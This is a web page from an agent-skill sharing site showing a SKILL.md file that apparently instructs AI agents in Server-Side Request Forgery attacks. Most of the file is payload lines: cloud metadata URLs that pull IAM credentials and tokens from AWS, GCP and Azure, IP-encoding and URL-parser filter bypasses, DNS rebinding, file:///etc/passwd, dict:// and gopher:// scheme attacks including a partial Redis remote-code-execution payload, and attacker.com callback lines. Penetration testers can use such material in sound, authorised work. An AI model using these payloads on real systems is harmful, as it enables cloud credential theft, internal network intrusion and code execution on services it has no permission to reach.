agentleFS
sunilgentyalasunilgentyala/OmniRed/skills/web/ssrf/SKILL.md

ssrf

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

Server-Side Request Forgery expert methodology covering basic SSRF, blind SSRF, cloud metadata endpoint attacks, DNS rebinding, and protocol smuggling. Includes filter bypass and post-exploitation pivoting.

13 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use oauth-oidc, deserialization and 5 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • SubhiSecSkill

    oauth-oidc

    Hunt OAuth 2.0 and OIDC flaws — redirect_uri abuse, state CSRF, PKCE bypass, scope manipulation, implicit-flow token theft, postMessage origin tricks, ID token sub claim swap, JWKS confusion, response_type confusion, and OAuth-CSRF. Use when an app has Google/GitHub/Facebook/Apple/custom OAuth or OpenID Connect.

    Also in 3 projects that use this

  • langbyyiSkill

    deserialization

    Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

    Also in 4 projects that use this

  • yaklangSkill

    open-redirect

    Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.

    Also in 5 projects that use this

  • SubhiSecSkill

    business-logic

    Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

    Also in 5 projects that use this

  • langbyyiSkill

    path-traversal

    Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.

    Also in 4 projects that use this

  • iAskShahramSkill

    file-upload

    Uploads a local file to Cloudflare R2 bucket `public` with wrangler and returns the public URL on assets.shahram.dev. Use when the user wants a public link, public URL, or to host/upload a local image or file to R2.

    Also in 7 projects that use this

The file

We split this skill into the rules it gives an agent

1 rule. 0 are common, 1 is distinctive, and 0 are very specific to this project.

  • 0

    Common

    Most of the 11 edited versions we read keep these.

  • 1

    Distinctive

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Use a domain that resolves to a public IP on first lookup, then to 127.0.0.1 on second: Set short TTL (1s) to win the race between …

    line 69

“Common” is measured: kept by at least 6 in 10 of the 11 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Server-Side Request Forgery (SSRF)

Attack Surface

Any server-side feature that makes outbound requests using user-supplied URLs or hostnames: webhook URLs, document fetchers (PDF generation, URL preview), image loaders, API proxy endpoints, import from URL features, XML parsers with external entity support, PDF converters, health check endpoints.

Methodology

Phase 1 — Identify SSRF injection points

Test all URL/hostname parameters with: http://169.254.169.254/
Look for: webhook_url=, callback=, url=, endpoint=, host=, server=, destination=
Test HTTP headers: X-Forwarded-Host, Host, Referer
Check XML inputs (potential XXE with SSRF)

Phase 2 — Basic SSRF verification

http://burpcollaborator.net        -- OOB verification
http://127.0.0.1:80               -- localhost access
http://127.0.0.1:22               -- SSH port (timing-based detection)
http://127.0.0.1:3306             -- MySQL
http://0.0.0.0                    -- alternative localhost
http://[::1]                      -- IPv6 localhost
http://2130706433                 -- 127.0.0.1 in decimal

Phase 3 — Cloud metadata endpoint attacks

AWS:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://[fd00:ec2::254]/latest/meta-data/    (IPv6)

GCP:

http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/ -H "Metadata-Flavor: Google"
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure:

http://169.254.169.254/metadata/instance?api-version=2021-02-01
  Header: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Phase 4 — SSRF bypass techniques

IP encoding:

127.0.0.1 → 0x7f000001 (hex), 2130706433 (decimal), 017700000001 (octal)

DNS rebinding: Use a domain that resolves to a public IP on first lookup, then to 127.0.0.1 on second: Set short TTL (1s) to win the race between validation and request.

Redirect chain: Host a redirect at an allowed URL: Location: http://169.254.169.254/latest/meta-data/ Some SSRF filters check the initial URL but follow redirects to internal hosts.

URL scheme attacks:

file:///etc/passwd
dict://127.0.0.1:6379/INFO    (Redis)
gopher://127.0.0.1:25/        (SMTP — pre-auth commands)
ftp://127.0.0.1:21/
sftp://attacker.com:11111/    (OOB with credentials)

Filter bypass with URL parsers:

http://attacker.com@127.0.0.1/
http://127.0.0.1#attacker.com
http://127.1
http://127.000.000.001

Phase 5 — Post-exploitation

Enumerate internal services:

http://10.0.0.1:22       SSH
http://10.0.0.1:3306     MySQL
http://10.0.0.1:5432     PostgreSQL
http://10.0.0.1:6379     Redis (SSRF to RCE via gopher://)
http://10.0.0.1:9200     Elasticsearch
http://10.0.0.1:8500     Consul

Redis RCE via SSRF + Gopher:

gopher://127.0.0.1:6379/_FLUSHALL%0d%0aSET%20shell%20%22%0d%0a%0d%0a%2f%2f...

Tools

  • Burp Suite Collaborator — blind SSRF OOB detection
  • SSRFire — automated SSRF scanner
  • Gopherus — gopher:// payload generator
  • SSRF Sheriff — SSRF detection server

OWASP Top 10 Mapping

  • A10:2021 — Server-Side Request Forgery

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.